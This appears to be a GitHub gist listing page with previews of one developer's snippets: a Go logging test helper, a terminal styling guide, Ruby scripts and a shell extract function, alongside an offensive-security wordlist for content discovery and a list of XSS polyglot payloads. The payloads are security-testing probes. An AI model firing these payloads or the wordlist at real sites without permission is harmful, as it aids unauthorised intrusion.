Skip to content

Instantly share code, notes, and snippets.

View michenriksen's full-sized avatar

Michael Henriksen michenriksen

View GitHub Profile
@michenriksen
michenriksen / helper.go
Created November 30, 2023 09:02
Helper function for stabilizing slog.Logger output during testing.
// NewSlogStabilizer returns a [slog.Handler] ReplaceAttr function that replaces
// non-deterministic attribute values with stable values.
//
// All attribute values of type [time.Time] and [time.Duration] are replaced
// with their zero values.
//
// Usage:
//
// logger := slog.New(slog.NewTextHandler(os.Stderr, &slog.HandlerOptions{
// ReplaceAttr: NewSlogStabilizer(t)
@michenriksen
michenriksen / README.md
Created November 4, 2023 15:35
💅 Get italic text and curly underlines in macOS + Alacritty + tmux + Neovim

Italic text and other styles in Alacritty, tmux, and Neovim on macOS

This is a quick guide to get properly set up with italic text, curly underlines and other advanced styles in Alacritty, tmux, and Neovim on macOS. It assumes you're using the latest versions of all three programs.



@michenriksen
michenriksen / content_discovery_all.txt
Created December 21, 2020 18:49 — forked from jhaddix/content_discovery_all.txt
a masterlist of content discovery URLs and files (used most commonly with gobuster)
This file has been truncated, but you can view the full file.
`
~/
~
ים
___
__
_
---
@michenriksen
michenriksen / xss-polyglots.txt
Created October 31, 2018 14:10
XSS Polyglot payloads
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//>
javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//>
javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>`
javascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`
javascript:"/*'//`//\"//</template/</title/</textarea/</style/</noscript/</noembed/</script/--><script>/<i<frame */ onload=alert()//</script>
javascript:"/*`/*\"/*'/*</stYle/</titLe/</teXtarEa/</nOscript></noembed></template></script/--><ScRipt>/*<i<frame/*/ onload=alert()//</Script>
javascript:`</template>\"///"//<
@michenriksen
michenriksen / output
Created December 15, 2017 21:17
FCC Wiki edits stats
................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
TOP 10 CONTRIBUTORS:
192.104.54.21: 50 (https://en.m.wikipedia.org/wiki/Special:Contributions/192.104.54.21)
192.104.54.79: 49 (https://en.m.wikipedia.org/wiki/Special:Contributions/192.104.54.79)
192.104.54.179: 31 (https://en.m.wikipedia.org/wiki/Special:Contributions/192.104.54.179)
192.104.54.77: 23 (https://en.m.wikipedia.org/wiki/Special:Contributions/192.104.54.77)
192.104.54.166: 11 (https://en.m.wikipedia.org/wiki/Special:Contributions/192.104.54.166)
192.104.54.4: 9 (https://en.m.wikipedia.org/
@michenriksen
michenriksen / tweeter_feed
Created September 3, 2017 06:40
Quick Ruby script to generate a Twitter search URL combining Tweets from multiple users
#!/usr/bin/env ruby
require "cgi"
BASE_URI = "https://twitter.com/search?f=tweets".freeze
if ARGV.empty?
puts "USAGE: tweeter_feed screenname1 [screenname2] ... [screennameN]"
exit 1
end
@michenriksen
michenriksen / dnsdb_crawl.rb
Created April 2, 2017 11:57
Quick Ruby script for extracting domains from dnsdb.org
#!/usr/bin/env ruby
require "net/http"
require "uri"
require "cgi"
require "resolv"
require "optparse"
require "socket"
require "timeout"
@michenriksen
michenriksen / detect-hunchly.html
Created November 14, 2016 13:34
Detecting Hunchly
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width">
<title>Detecting Hunchly</title>
</head>
<body>
<div id="canary">
John Doe johndoe@gmail.com 888444333
extract() {
if [ -f $1 ] ; then
case $1 in
*.tar.bz2) tar xvjf $1 ;;
*.tar.gz) tar xvzf $1 ;;
*.bz2) bunzip2 $1 ;;
*.rar) unrar x $1 ;;
*.gz) gunzip $1 ;;
*.tar) tar xvf $1 ;;
*.tbz2) tar xvjf $1 ;;